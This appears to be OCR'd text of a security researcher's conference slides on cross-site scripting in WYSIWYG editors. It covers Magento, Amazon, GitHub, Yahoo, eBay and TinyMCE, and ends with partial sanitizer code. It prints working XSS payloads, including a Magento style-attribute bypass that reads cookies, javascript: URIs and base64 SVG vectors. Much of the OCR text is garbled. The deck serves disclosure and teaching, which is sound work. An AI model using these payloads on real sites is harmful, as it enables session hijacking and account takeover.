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Who Am I?

e A researcher in Ruhr University Bochum, RUB Germany

e A student of XSS who is working towards his PhD in XSS

e An XSSer / An XSS Enthusiast

e Listed in top sites' hall of fame

e A proud father of two

® Speaker @HITBKUL 2013, @DeepSec 2013, OWASP
Seminar@RSA Europe 2013 and OWASP Spain 2014

e A Twitter lover @soaj1664ashar



WYSIWYG

hat ou ee's' hat ou et



Sites use WYSIWYG editors as
a part of ...

® Forum Post

® Private Messaging
o Wiki Post

® Support Ticket

e Signature Creation
e Comments



WYSIWYG Editor of Magento
Commerce

¥ || Color v

https://www.magentocommerce.com/boar
ds/member/messages/compose/




WYSIWYG Editor of Twitter
Translation

Markdown cheat sheet

Format Text Miscellaneous

https://translate.twitter.com/forum/forums/translator
s-general-discussion/topics/new




WYSIWYG Editor of Amazon

amazon services,

seller forums

Seller Forum
Seller F s

Ask a guestion

Or start a discussion

Question:

vou can format the text withi
[Piain Text || Preview

B 7 U

Formatting pl
You can use t
message

> following markup in the boc

Result

Markup

+italics+

Heading

Heading 2:
Heading 3
Heading 4:
Heading 3

Heading &6: hé,

f the message to format

Marku Result

[Name|URL]
[Nam

Email: [fi

https://kdp.amazon.com/community/post!

default.jspa?forumI|D=9




WYSIWYG Editor of Yahoo
Email

https://us-
mg5.mail.yahoo.com/neo/launch#4280379
338




Froala WYSIWYG Editor

B I U & Ti- A~ 8- - /- &~ 2 i E E | % @ m % BE-

A beautiful jQuery WYSIWYG text editor

http://editor.froala.com/




Some Statistics about Froala

E stefanneculai comr

2.5 months since our launch

5000 downloads directly from our website

1000 downloads of the rails gem

There should be another 1000 more from other sources where the editor is posted.

https://github.com/froala/wysiwyg-
editor/issues/33#issuecomment-40289023




Jive WYSIWYG Editor

https://community.jivesoftware.com




Statistics about |ive

work better together™

Jive has helped millions of people
at the world's top companies
work better together.

It can do the same for you.

http://trust.jivesoftware.com/why-
jive/customers/#view=list




TinyMCE WYSIWYG Editor

Edit - Insert - View = Fomat ~ Table - Tools -

Formats -

@ PE A~ A -~ (=

http://www.tinymce.com/tryit/full.php




Statistics about TinyMCE

icrosoft EPISERVER OJRACLE G:i,i WORDPRESS j ive MORE TINYMCE USERS

http://www.tinymce.com/enterprise/using.
s]als]



CKEditor WYSIWYG Editor

dseurce ) B @ | E
2 = ® @I |E:] (v = =@

http://ckeditor.com/demo#full




Statistics of CKEditor

http://ckeditor.com/about/who-is-using-

ckeditor




MooEditable WYSIWYG Editor

MooEditable by cheeaun

A simple web-based WYSIWY G editor, written in MooTocls.

Demo

http://cheeaun.github.io/mooeditable/




InUseon CNET Forums

@ Windows 8 Forum and i =

L c L] forums.cnet.com/win

er” style="width:

http://forums.cnet.com/windows-8-forum/?
tag=contentMain;contentBody&refresh=1410685383672




Cross-Site Scripting
(XSS)



XSS --- An Epidemic

L@ Ashar Javed

#XSS Is everywhere & it is not going
anywhere.

It was there .. It is there & It will be there.
#nothingmoretosay #thatsit

https://twitter.com/soaj1664ashar/status/
342002554118492162




For Details on XSS ...
see my slides

Cross-Site Scripting: My Love
Where is Secure Code?

On Breaking PHP-Based XSS Protection
Mechanisms in the Wild




Lets Start with a tale
of 1000%$ XSS In
WYSIWYG editor of

Magento Commerce



Magento Commerce's Bug
Bou nty Program

() Magento | an ebayinc company

PRODUCTS CUSTOMERS PARTMNERS TRAINING RESOURCES HELP COMPANY BLOG

http://magento.com/security




Magento Commerce Forum
Posting has been disabled ...
:D

https://www.magentocommerce.com/boar
ds/




XSS affects on 2051362 users

PRODUCTS CUSTOMERS PARTNERS TRAINING RESOURCES HELP COMPANY BLOG

Visitor Statistics

http://www.magentocommerce.com/boards/




WYSIWYG Editor of Magento
Commerce

New Message

Recipients £

Subject

Guided Normal = ““ Close Tags

Font Formatting I v




How it works?

[b][size=4][color=blue]bold[/size][/color][/b]
[1]italic[/1]

[uJunderline[/u]

[quote]quote[/quote]

[code]code[/code]
[email=justashar(@hotmail.com]reach me[/email]
[url=http://www.bbecnews.com]Top Stories[/url]

I try to break down the above input into paits e.g., [b][size=4][color=blue]bold[/size][/color][/b] 1s
internally treated as:

<b><span style=""font-size:16px; ' ><span style="color:blue;"">bold</span></span></b>




Quick XSS Test

-<marquee><img src=x onerror=confirm(document.cookie)></marquee- /plainte:
.p1amtext.-"'011111uuc.em El‘_[ll umpt{ 1‘ipt"'==-'-1]ert("’dc:culnent.domain}
Wpe=5ubmit?:==-’--

eee-security. 01‘2""nmcreq-"'neu-‘-web -"Troifill_HLn'se.jpg crmnuu:.em--'e1:rat.--"a1(:'1(1&?-:.#}{2*L : :
‘:IL_"h'Etp hrvanlml]c.:m aLemnv hles rordpress.com/2013/09/anonymousbigbrotherclo
ne.jpg"/ : L
-"'Ill... Ta]. 5
and 1t has been converted into:

marquee=x

ONerror=comn _,f irm(/I'em ()1-—-’@(—711

"alt="/"src="htt

/2013/09/anony H.r[)mb.rob; on’fﬁ c:?om—.:._,rpg




By looking at in the
converted XSS attack vector ...




| remembered Codelgniter's

https://github.com/EllisLab/Codelgniter/blob/develop/sys

tem/core/Security.php#L124




What is Codelgniter?

ds of thousands of sites, in addifionto |
allation. As of this writing it is the
-.E:F-‘HF'._ Zend, and Lar:

delgniter {Open Source #PHP frameworks (@ Codelgniter)) is that much popular

4 Reply W Delete % Favorite




Codelgniter's Popularity

Codelgniter Customers

Get access to data on 264,038 websites that

have used Codelgniter. We know of 127,214

live websites using Codelgniter and an

additional 136,824 sites that used Codelzniter

View Website List

http://trends.builtwith.com/framework/Co
delgniter

historica E|_':."




My meeting with
Codelgniter :-D

https://github.com/EllisLab/C
odelgniter/issues/2667




Let's start dissecting ...

|b][s1ze=4][color=blue]bold|/size][/color][/b]

[b/onmouseover=alert(1)][size=4][color=blue]bold[/size][/color][/b]

[b onmouseover=alert(1)][size=4][color=blue]bold[/size][/color][/b]

Both above mentioned variations also do not work and internally site treat them as:

¥ (p> Output looks like:
L T

Preview

. [bfenmouseover=aleri(l ji:bD|d

span> [b cnmouseover=alert(1 b old




Dissection Continue ...

[url=http://www.bbenews.com] Top Stories[/url]

Lets input ...
[url=javascript:alert(1)]Top Stories[/url]
AND/OR
[url=data:text/html:base64. PHN2Zy9vbmxvY WQ9Y WxlcnQoMik+]|Top Stories[/url]

The above two forms of injections also do not work and internally site treats them as:

Yips
a1 I'_ ¥
<a href="http://removed"” target="_hlank">alert(1)]Top Stories</a>

£ b" >
¢a href="http://data:text/htmlbasetd, PHNZZySvbmaowYWQ9Yix1lcn

£ .'. ﬂ .

QoMik+" target="_blank">Top Stories</a>



Dissection Continue ...

|b][s1ze=4]| color=blue |bold|/s1ze]|/color][/b]

[b][s1ze=4][color=width:expression(alert(1))]bold[/size][/color][/b]

which becomes:

¥ <span style="font-size:16px;">
{span style="color:width:[removed;">alert(l))]lbold</span>
</ Span:




Dissection Continue ...

|b][s1ze=4]| color=blue |bold|/s1ze]|/color][/b]

[b][size=4][color=width:expre/**/ssion(alert(1))]bold[/size][/color][/b]

So it seems, with the help of /**/, the above injection bypasses Codelgniter's black-listed word
.expression” and it looks like:

Y <span style="font-size:16px;">
<span style="color:width:expre/**/ssion(alert(1));">bold</span>
</span>

width:expre/**/ssion(alert(1)) is an old
trick discussed in SLA.CKERS




CSS will work if ...

CSSPropertyName: Value

BUT we have ...

<span style="color:width:expre/**/ssion(alert(l));">bold</span>

Question: How to get rid of "color "?



Next Great Idea ...




Use tag as per allowed
syntax

|b][s1ze=4]| color=blue|bold|/s1ze]|/color][/b]

[b][style=width:expre/**/ssion(alert(1))]bold|[/style][/b]
and it becomes:

<span class="width:expre/**/ssion(alert(1))">bold</span>




It seems | am moving in the
right direction ...

Now our above injection becomes:

[b][style=style=width:expre/**/ssion(alert(1))]bold[/style][/b]

and the site converts the above injection into:

<span class="'style=width:expre/**/ssion(alert(1))">bold</span>



Use double quotes in order to
break the context ...

So new injection now looks like:
[b][style="style=width:expre/**/ssion(alert(1))]bold[/style][/b]

and this time, Magento has converted the above injection into:

<span class="" style="width:expre/**/ssion(alert(1))&quot;">bold</span>

<pr<b><span class=""style=width:expre/**/ssion(alert&#40;18#41;)">bold</span></




Here we go ...

[b][style="style=width:expre/**/ssion(alert(1)) junktext]bold[
and this time Magento behaves like a good child:

<span class="" style="width:expre/**/ssion(alert(1))" junktext"="">bold<

So now all set for an XSS in IE7 ...

@ Magento

! style=width: 5 alertBedm; 184841;) Jupktext™s
PRODUCTS CUSTOMERE |




Who Cares about IE7?

Lets try to make it work in
modern browsers ...



Yes ... Done with it...

If you remembered correctly, as soon as we have injected [style][/style] mark-up. Magento has
dynamically created a ,,class™ attribute. e.g.,

[b][style=]bold[/style][/b]
has been converted into:

<span class="">bold</span>
It means. now we can try ,,onmouseover™ stuff along with _ style* tag and this should work ...

So our FINAL injection that works in latest Chrome browser will be now looks like:

[b]|[style="onmouseover="alert(cookie);|bold|/style||/b]




N\

Tea Time with cookie  :-

PRODUCTS  CUSTOMERS  PARTMERS




Another Sad Thing ...

" cookie is not httpOnly ....

PHPSESSID=doec



Can XSSed Forum Moderator for
more privileges

thebod ! U; Magento

: = MVE WMedorator
Member Group: Forum Moderator =i

View all posts by this member

Ignore Member

http://www.magentocommerce.com/board
s/member/382896/




Recommended Read

http://www.scribd.com/doc/226925089/Sty
lish-XSS-in-Magento-When-Style-helps-you




ldentification of
Common Injection
Points in WYSIWYG
Editors



Attacking Insert/Edit
Image Feature



Attack Vector #1

http://xssplayground.net23.net/xss%22onmouseover=%2

2alert(1);%20imagefile.svg?"onmouseover="alert(1)




Features of attack vector #1

Valid URL (Browsers render it)

In case of explicit decoding on server-side, it can be
used to break the context and execute JavaScript
Useful in breaking the context for JavaScript
execution (in case if no server-side decoding)

SVG based JavaScript execution



Explicit Server-Side Decoding

http://xssplayground.net23 . net /xss%22onmouseover=%22alert(1) :%20imagefile.svg

The above URL after decoding on server-side looks like

http: - xssplayground.net23.net -xss"onmouseover="alert(1):; imagefile.svg




XSSed Alexa (Explicit Decoding

Case)

O;) Link Button
Fill out the form

° Button Action - What

e Appearance - How do you want the button to look?

ome Text

Some Text

3 » Console L3 Inspector @ Debugger [& style Editor @ Profiler = Network R ®| L D B oo x

£ onten.. div#dialog_link.btn_form_dialog_wrapper form#dialog_form.th_dialeg_form fieldset div.row div.col-16 input#tblink_url_text.text.url OptHTTP.re... > Rules Computed Fonts




Recommended Read

http://issuu.com/mscasharjaved/docs/urlwriteup/1




XSSed GitHub's MarkDown (SVG based
JavaScript execution)

a SVG XSS in camo.github.com 500 pis

@so0aj1664 reported an XSS vulnerability in the sandbox domain we use for proxying
images coming from non-HTTPS sources. By using our image proxy to request an SVG
resource, an attacker could have caused arbitrary JavaScript to execute in the image-
proxy domain.

While this vulnerability existed in a sandbox domain, largely intended to mitigate the risk of
serving user-supplied content, we still took the threat seriosuly. We addressed the
behavior by disallowing SVG images until we moved the image proxy to a domain that is
not a subdomain of GitHub.com.

https://bounty.github.com/researchers/soa
j1664.html




Recommended Read

https://www.owasp.org/images/0/03/Mario_Heiderich_O

WASP_Sweden_The_image_that_called_me.pdf




XSSed Amazon's Seller
Central & Kindle Direct

Publishing Forums's
WYSIWYG Editor




Insert Image Syntax

Image URL Goes Here

Internally it is treated as ...

<img src="ImageURL" alt>



XSSed Amazon's Seller Central
(break context case)

entralamaz

amazon services

seller forums

Seller Forums
T er

Ask a question
Or start a discussion

Question:

Mes

You can format the text witl




XSSed Amazon's Kindle Direct
Publishing (break context)

ASHAR JAVAID

Tags

Q, [] |Elements|




Attack Vector #2

data:image/svg+xml;base64,PD94bWwgdmVyc2Ivbj0iMS4wliBIb
MNvZGluZz0iVVRGLTgiPz4gCiwhREIDVFIQRSBodG1slFsgCjwhR
USUSVRZIHhzcyAi]iM2MDtzY3|pcHQmMIzZYyO2NvbmZpcmOobG9j
YXRpb24p]iM2MDsvc2NyaXB0JiM2MjsiPiAKXT4gCjxodG1sIHhtb
G5zPSJodHRwOIi8vd3d3LnczL m9yZy8xOTk5L3hodG1slj4gCixo”Z
WEKPIAKPHRpdGxIPINNTCBYU1MgVmVjdG9yPC90aXRsZT4gCjw
vaGVhZD4gCixib2R5PiAK|nhzczsgCjwvYm9keT4gCjwvaHRtbD4=

Useful in cases if sites automatically insert
anchor tag (<a>) around image ...



Recommended Read

http://css-tricks.com/using-svg/



XSSed Jive

JavaScript Alert

i Video & St

ACTIONS

= % 0
Styles | Computed

element.

<img alt="s DI4bliwgdmVyc 21vbBiM5 AW 181 bmilvZG1uTz@iVVRGL Tei Pz4sC i whRESDVF 10RSBodG1s IF sgC jwhRUSUSVRZIG
IuamVidCALTiM2MDEZY3JpcHOMIZYy02FSZXIOKDEPT iM2MDs v 2NyaXBaliM2MjsiPIAKXT4gCix0dG1sIHhtbGE5 ZPS JodHAWO18Y

d3d3LnczLmoy IyBx0TkSL 3hodG1sI§4g0  xoTMFkPLAKPHE DsgCjmvimIkeTdgt
th: 628px; heigh

#context_322738 4 202 - iv #node-coila)




Other Potential Attack Vector
for <img src="">

THIS
15
AVATAR

File Descriptor

The <img src=javascript:while(1){}> DoS is
fixed Iin Firefox 33.0

https://twitter.com/filedescriptor/status/51
2252595906158592




Attacking Attributes In
WYSIWYG Editors



Common attributes
are. ...



Attribute Context Attack
Methodology

Attack Methodology for Attribute Context e.g.,
<div class="Injection Point">attribute context</div> OR
<div class='Injection Point'>attribute context</div>

e

" onmouseover="alert(l

XSS
Bypass

“onmouseover=alert(l);

RI.-"\"O

No Bypass




XSSed Yahoo Email’
WYSIWYG Edito

B just_ashar_javed - Yahoo ...

oo.com/

us-mgé.mail

nsole _- . -~ Network




\

" In action



XSSed GitHub's Markdown

| document write(innerHTIL) | | Apply style.casText()

https://html5sec.org/innerhtml/ (Mario
Heiderich's Utility)




GitHub's reply on my report

Re: [CODENAME INVERSE BOSON] - GitHub Bounty Submission

Patrick Toomey <bounty@github com:

to me |=

Hi,

Best regards and happy hacking!

~ Please note that GitHub no longer supports Internet Explorer versions T or &
2 We recommend upgrading to the lates q W
If you are using IE 9 or later, make sure you

Learn more Ignore




Lithium WYSIWYG Editor

RICH TEXT HTML PREVIEW

T & | & w & al BB | &= = FontFamily - FontSizes A >

The worlds leading brands choose Lithium
\ AUTODESK -!'_:- y =& TELUS @E Commonwealthir:  p Spotify

z - A -~ e, E — —
@ xerox @) comcast *#fitbit TalkTalk Camnon @ Google F--Mobile: petcoff & atat gjaylormade

amyspace QAT ‘@i petses sony cuns | M oo €y (B

=




Lithium's reply on my report

thiurm.com: = Jund

ssue which is a good one and difficult to find. We areinthe p f triaging the issue and fixing it.

Thanks.
Swapnil




XSSed TinyMCE

http://www.tinymce.com/develop/bugtracker_view.php?
id=6858




Attacking Insert/Edit
Link Feature



WYSIWYG's Insert Link

Ok Cancel

Insert link

Lirl

Text to display

Title

Target Mane

Mone

Mew window




URL Context Attack Methodology

mobfuscated JavaScript URI ez
Javascript-alert{I)

" Obfuscated JavaScript URI with URL encoding
JaVaScRiPtconfirm®b 2 Slocation 020

’ﬁ'fn.-.r.ltedla‘r Script URI with HTMLS or Hex or Decimal encoding ez

e~ Ja&Tabvasc&NewLine;ript&colon; prompifdpar; 1 &rpar




XSSed FreeTextBox (ASP.NET)
ased WYSIWYG Editor

& Untitled - Google Chrome

at www.free

gy

Q D | Elements | N wources  Timeline wesources  Audits Conscle

ript:alert(1)™ ti

ration:
erline;
cursor: auto;




Who is using FreeTextBox?

Selected Clients

http://www.freetextbox.com/




XSSed KindEditor

The page at kinde




Who is using KindEditor?

FIENm  fg@youdao

& ChinaL.com

HUAWEI

CoRl [1d © cywoRrLD

BEXRH T o [E 1% L35 12i8 & M

o wses CHINA TELECOM SHANGHAI IDEAL I W'L‘“W._L_lfn'illm.lrli!et |

NT CRM = " o g = s
a Tools— , £, 0
[F Vv EEE n ¢ & EMLOZ

IDACMSEEREEL AT

http://kindeditor.net/case.php




XSSed PHP HTML Edit

The p : .
’ rful online WY SIWYG HTML Editor

BEVA ¢ Editor for PHP
’; _ Editor for PHF @

0K
Home Demo Forums Reguirements Document] pmpany Order

Getting Started | Enable All Toolbars E

C' [ phphtmledi




Who is using PHP HTML Edit

Also available for
Joomla!, Dojo

Selected Clients

2
iy

Microsoft .
intel

D

Ube%f .ca

Liberal Party of Canada




XSSed Web Wiz

=8 Web Wiz Rich Text Editor

] & (&

Format -||Font

richtexteditor.org

Preview

Debugger




Who is using Web Wiz?

see https://www.webwiz.co.uk/company-
info/customer-testimonials.htm




XSSed EditLive

Format




Who is using EditLive?
m WELLPOINT

Che
Nullok  NISSAN

Cimes

verizon

LOCKNEED MARTIN

%E"}‘ KAISER PERMANENTE. (L‘ Uf!-l-l-!‘(jl-'l1&9;'0{?1 WONn GS.&J}\

emnane i &Y Fith Third Bank
comsantconnact +~ (CCAGgly —~— AVAYA

http://ephox.com/customers




XSSed MarklItUp

The page at ma




Who is using MarkitUp?

O PIVOTX

http://markitup.jaysalvat.com/home/




XSSed Mercury (Rails)

E | Q | e S Il The page at jejacksOn.github.io says:

Erevew Undea Redo
| |

Mercury Editor

Mercury Editor

click

gem ‘mercury-rails’
rails generate mercury:install

Q D | Elerments| Network Socurces Timeline Profiles Resources Audits Console
s
href="javascript:alert(1l)" target="_parent”>click




Who is using Mercury?

C) Star | 2,164 () Fork 454

http://jejacksOn.github.io/mercury/



XSSed CNET's Forum (MooEditable
WYSIWYG Editor in use...)

<« | forums.cnet.com/

m Windows & Forum and D= x

What type of post is this? (Select one)
L) E., General discussion ? | Question
A piert ) % Praise
Thisisap
test

by soaj1664ashar

£ thrasd and amail ma adhan t ara nncstas

html  bo n_14 div #createThreadPopup div  form#createThread div.previewFields  div.pr p.previewBody



XSSed Froala

XSS in FROALA WYSIWYG
soaj1664 opened thi

s0aj1664 commentad o

Hi,

The editor is vulnerable to an XS8. The editor allows users to insert link and if instead of normal link, 1
input JavaScript URI

javascript:alert®28location®29

then it works. The attacker can execute arbitrary code of his choice. Please fix this issue. Thanks!

stefanneculai commentad ¢

Thanks for pointing that out. We'll fix it shortly

https://github.com/froala/wysiwyg-
editor/issues/33




XSSed Jive

data:text/html, <script=ale x

&« ¥ [ datatext/html, <script=alert(0) < /script=

JavaScript Alert

Waiting for 212-ahz-914.mktoresp.com...

Q, [] |Elements| Network Sources Timeline Profiles Resources Audits Console Tamper =
<l : JCERCET PL IO EXACET PO CIear 11X V2
-act-sub-previ > les | Computed
autheor-act olor-meta-1ight"».. slement.style {

¥ ¢a href="data:text/html, <scriptralert(@)</script>">
1 ipt»” ¢ image image-1" src="data:text/html,<scriptralert(@)</scripis’

href="/commu " onmouseover=alert(1

{z #context = i4 2 1042 2 / v 9t5ptinmi




Reward from Jive :)

Welcome to Jive

@) It appears your account has been deactivated. You might contact your administrator if you think this
is a mistake.

ware.coms

mmunity. Your last attempt to inject data
y reported the content as

the account. We will look into it




XSSed TinyMCE

#6851

Cross-5ite Scripting (X5S) in TinyMCE

Subi

Browsers:

Priority: 3 Resolution:

http://www.tinymce.com/develop/bugtracker_view.php?

id=6851




XSSed 6 more WYSIWYG Editors

SR Ashar Javed

Javascript:alert(1)

Is enough for NicEdit, Raptor, JHTMLArea,
Aloha, elRTE and Medium

FWYSIWYG #XSS

https://twitter.com/soaj1664ashar/status/
513229764078104576




A tale of an XSS in

Twitter Translation's
WYSIWYG Editor




Twitter Translation's
WYSIWYG (Insert Link)

https://twitter.com/ - automatic!

[Twitter](https://twitter.com/)

https://translate.twitter.com/forum/forum
s/feature-requests/topics/new




Lets XSS ... step #1

[twitter| (https://twitter.com)

has been internallv converted nto

-

<a hret="https://twitter.com ">=twitter</a=




What happens 1f | replace

s 1)
has been internally converted into
<a href="javascript: 1"=twitter</a>




&rpars;)

has been internally converted into




has haen internally conv erl:n:d Into
<a hret="javasc alert% 28 1%:29" =twitter<




Here we go ...

’ Transiation Center Dachboxd Transhte Ewuate leam Ska  Foums

2L et

Hele:

i el 1o B L

sy el 10 e

The ; #ar,.*n hu rade this mr:*a:l is, rdead | 'went 1o see a better TTC, and apparenty, soene of the problems I've: seen got mentionad oy vou. like
¢l y Belier idea of considonation 1

flcoukd lassan e numbe of

jast e il boks bad

ol prekend 4'* issies; i just qus
geers, Bl 1o be honest, |l the

Hfe gty W ppedetands #Recly & Efiling post X Delale

http://www.scribd.com/doc/211362856/Sto
red-XSS-in-Twitter-Translation




After Fix ... @ndm Replied

Neil Matatall

asoaj1664ashar @HttpSecHeaders damn
3rd party libraries

https://twitter.com/ndm/status/456129160
411234304




Which 3rd Party Library
(WYSIWYG)?

MarkDown




XSSed MarkDown

& daringfireball.net & RalE P ¥+ H
RETErence-soyle:
tlalt textl{id]
HTML Source:
- - - - e - [idl: Jurl/to/img.jpg "Title"
<p»Bn <2 href="iavascript:alert®28 18237 title="Title" example</a></ps

Headers

Setext-styla:
Header 1

Header 2

atw-style (closing #'s are optional):
& Header 1 &

## Header 2 g8

#EEEEE Header &

Lists
Crdered, without paragraphs:

1. Foo
2. Bar

Unordered, with paragraphs:

HTML Preview: RS e

wWith muTtiple paragraphs.

Bar

You can nest them:
*#  Abacus
= answer
*  Bubbles
1. burk
2. bupkis
= BELITTLER
Markdown 1.0.2b7 / SmartyPants 1.6.0b6 3. burper
Canning

Copyright € 2004-2014 John Gruber

n/dingus




Standard Markdown

Recently an attempt has been
made to make it standard ...
BUT



Set Back?

C |} standardmarkdown.com

This domain was disabled at the request of John Gruber.

http://standardmarkdown.com/




Standard Markdown is
now Common
Markdown

http://blog.codinghorror.com/standard-
markdown-is-now-common-markdown/




Attacking Style"
Feature of WYSIWYG
Editors



“style " attribute in WYSIWYG

T T o1
LE=OITOT WIT
--!-..'--n.l-'-lltl-ﬂ'l --Iiu-r.-'

Link

Cancel




Style Context Attack Methodology

=div style="Injection Pomi"=CSS context (double quote case)=/div=
=div style="Imjection Pomt'=CSS context (single quote case)</div>

No Bypass




XSSed Ebay (CKEditor in use)

File Find Disable View Images Cache Tools 'n-’alldate-:

LM - G ﬁ _ Browser Mode: [E10 Deocument Mode: [ET standards

HYML €35 Console | Scrpe | Prokler  Netwirk !_wi-:ll:h:f{plessinn
bes B 'y @@ ([ = (=% 5o (@ sndsbugging |
it/ fwvewsebay.cor [

212
213127 itemprop="articleBody">

Walentine's gifts »

Message from webp.. £ 214 ;. <body>
= — ! 215

2186

217 I id-"1inkl" style="width;expression{alert(1))">http://www.ebay
218 ar=contirm{l);agt;

219

228

221 i afirm(1);8gt;
222

223

224 i tonfirm(1) 8%,
225

2256

22T  ~=confirm{1):8gt;
228

2249

238  ~or=confirm{1});&gt;




Reward from Ebay :)

: correct the fields highlighted in red

Publishing blocked - Your account has been blocked from publishing due to excessive posis that violate our Guides Policy.




XSSed TinyMCE

Ty E Em : A <he» TinyMCE - Full featured example - F12
°!~sr'r http:/ v tinymee.com, D~ W i TinyMCE - Full feature... TV
B = : : File Find Disable View Images Cache Tools Validate |

i (‘} & Y ke ; —~ 3 : : Browser Mode: IE10 Document Mode: IET standards =]
x & i w <2 n N ] iR [ Fande A = - = =

. HTML | €55 (C le Script Profiler Network |Search HTML..
‘f}. * B v [ gmm ~ Page~ Safety~ Tools~ @~ | o] SIS ORI s il |

h R B HE Style | TraceStyles  Layout
Full featured example _ <1~ DOCTYPE html -->

E-<html sizset="8" sizcached52818776

[ view Example [ View Source

This example disp  |nsert/edit image ®

; | General | Advanced -
File = Edit | Message from webpage

'e 1

| Style ¥ exp/fression{confirm(1)):

Vertical space Horizantal space

Border




Attacking
Insert/Edit/Upload File
Feature of WYSIWYG



Insert/Edit/Upload File

Insert File

MName (optional)

Upload file

Drop File

se File | Mo file chosen



XSSed Imperavi Redactor (File
name == XSS vector)

&« C' [3 imperavicom/redactor
The page at imperavi.com says:

IMPERAVI
1

Redactor Dyervisi) Docs FAG Ex es Plugins|

r

G html editor




Who is using Imperavi
Redactor?

Loved by Developers

GIZMODO fuis+ £ ¥ Help Scout i teamwork

KINJA statamic'y/ pulse 332 deskpro

http://imperavi.com/redactor/



XSSed Froala via Flash File

HTTP Headers

mlapp
Accept-Language: en-US,

, deflate

Via: 1.1 vegur



XSSed x.com (Paypal’s Site)
WYSIWYG Editor via Flash File
[worth 1000%$]
e e




Attacking Insert Video
Feature of WYSIWYG
Editors



Insert/Edit Video

Embed Object Insert/edit video

Embed Code Pr

Alternative source
Poster

Dimensions X Constrain proportions

“ Cancel




YouTube's embed code for
video sharing looks like ...

<object width="560" height="315">

<{param name="movie" wvalue=" /swww.youtube-nocookie.com v —
RHPg4Z-8p8?hl=en US&amp;version=3"></param?>

<{param name="allowFullScreen" wvalue="true">< /param>
<{param name="allowscriptaccess" value="always"»<{/param>

<embed src="//www.youtube-nocookie.com v/ -RHPq4Z-8p8?
hl=en US&amp:;version=3" type="applicationsx-shockwave-
flash" width="560" height="315" allowscriptaccess="always"
allowfullscreen="true"> < embed> < object>




For XSS ...

Simply add
in
<object> & <embed> tags ...



XSSed Raptor

RAPTOR EDITOR




Microsoft's WYSIWYG Editor
for \Wiki Articles Posting

|' Paragraph 55.'_',"|E""E Font Mame -|

IBI

A Template Manager |

Insert Video

From YouTube or Web From Computer From Site Search

Paste the link {URL) to the video




XSSed Microsoft.com's
WYSIWYG Editor

TechMNet Products ~ IT Resources =

et.microsoft.com/
|.technet.

BT Microsoft

TechNet

dhhfhdfhdfhdhdfhdretertertert

Wikis - Page Details

FIRST PUBLISHED BY

Options




Microsoft's WYSIWYG Editor's
Fix at the moment...

€ @ https://socialtechnet. microsoft.com, profile/u/edit/Treferrer=http 73 a%df %2 fsocial.technet. microsoft.com Y2 fwiki%2f Themes Ja2fgeneri

The resource you are looking for has been removed, had 1ts name changed, or 1s temporarily unavailable.

http://social.technet.microsoft.com/wiki/contents/articles
/26824.dhhfhdfhdfhdhdfhdretertertert.aspx




Why almost all
WYSIWYG Editors are
vulnerable?



But first lets see some
comments from
developers on my
reported bugs in
WYSIWYG editors



Developers Comments



#1

52 mikepmtl comme

Why don't you simply filter out what you don't want upon submission server side?
Ssome of us use it in the back end to add/edit content.




#2

daviferreira comments

You should handle this on server side, when you save your content :)




#3

yakatz commented on Apr

That is how it is supposed to work. If you don't want it to do that, you need to implement a filter in your save

method:




#4

£2 dorgan commer

AT
LTAT

| would expect this to be how it works. As this is a WY SIWY G editor. If

filter this server side.




#5

F"":tr.’lh caommentaed o
Hi,

Its generally considered unsafe to do any kind of data sanitisation on the front end. For this reason

sanitisation should be performed in your backend implementation.




#6




Reasons

“Transfer of responsibility +
“Laziness”

Developers of the WYSIWYG editors think that developers of the
server-side/back-end or web applications will do sanitization
while developers of web applications are happy to include
WYSIWYG editors "AS IT IS" ...



Enough Breaking ...




Lets Present
Unbreakable
Sanitizer/Filter



What?... Unbreakable? :-D

http://demo.chm-
software.com/7fc785c6bd26b49d7a7698a7
518a73ed/




[ demo.chm-software.com/7fc785 75 /xsst

*11122.160.75.101

122.160.75.101

*11122.160.75.

122.160.75.

*122.160.75.

122.160.75.

*122.160.75.

122.160.75.

1122.160.75.

122.160.75.

122.160.75.

*122.160.75.

122.160.75.

|122.160.75.

81570 failed XSS attem

CATCH
ALL

CATCH
ALL

CATCH
ALL

CATCH
ALL

CATCH
ALL

CATCH
ALL

CATCH
ALL

CATCH
ALL

CATCH
ALL

CATCH
ALL

CATCH
ALL

CATCH
ALL

CATCH
ALL

CATCH
ALL

CATCH
ALL

GET

GET

GET

GET

GET

GET

GET

GET

GET

GET

GET

GET

GET

GET

GET

filter/
name | this["document J[{} [T [ 401100 U037 (3 1000 4000 (0 IDE 1) “KieJsvglonload=alert(0)=
this["wG4 BB 3% 75 Wb dxG5 \xEe 7 4] ["x6 3 x6fxEfxEb B Ix65 " [svglonioad=alert{0)>
this["wE 4B B3\ 75 wEd w65 \xEe' w7 4] [ "6 3 wEfxEfxEb 1B I\x65"[svglonioad=alert{ D)=
this["wB4xEfwE 3 75 wEd wE 5 \xEe w747 [ xE 3 wEfxE xEbxE %65 " jsvglonload=alert(0)=
this["wE4\xEfxB 3% 75 wEd w65 \x6e'w T 4] ["cookie | svglonload=alert{D)=
this["wE4\xEfxB3\x 75 Wb d w65 \x6e w74 ] ["cookie | svglonload=alert(D)=
e || this["wE4\xEfxb3\x 75 wEd =65 \x6e'x 7 4] ["cookie | svglonload=alert{D)=
e || this["document”][ 63\ 6fx6fxEbx69%E65 sva/lonload=alert{0)=
e || this["document”][ "xE3\x5fx6fxEbx69 %65 svglonload=alert{0)=
e || this["document”][ "xE53\x 6 xEfxE 69 %65 " svalonload=alert{0)=
e || this["document”]["cookie"]svglonload=alert{0)=
e || this["document”]["cockie"]svg/onload=alert{0)=
e || this["document”]["cookie"]svglonload=alert{0)=
e | this(( {3 [0 MLI7 (LT CO0 00 1000 CEOC 00 C000 00 10 o] T [ ) cq] IDE [Tsvglonload=alert(0)=

e | this[( { (LM OO0 007 00T me 0 v e mendn ¢ D Msvg/onlead=alert(0)>

catch all

1of81570 | o | v |




(Robert M. Pirsig, American novelist)



Protection against
JavaScript execution
via common attributes
(e.g., id, title etc) In
WYSIWYG Editors



Attribute Context Attack Methodology & Implementation of a

generic’ " function

Attack Methodology for Attribute Context e.g.,
"Injection Point">attribute context</div> OR
<div class="Injection Point">attribute context</div>

<?php
function attributeContextCleaner($input) {

$bad_chars = array("\"", "'", )
$safe_chars = array("&quot:"., "&apos:". "&grave:;"):
Soutput = str_replace($bad_chars. $safe_chars. $input):

return stripslashes($output);




What if attacker will use
encoding?



See fiddle for an
answer ...

http://jstiddle.net/9t8UM/3/




Protection against
JavaScript execution
via style attributein
WYSIWYG Editors



Style Context Attack Methodology & Implementation of a

generic’ " function

=div style="Injection Point"
=div style="Injection Pomt"

<?php
function styleContextCleaner($input) {

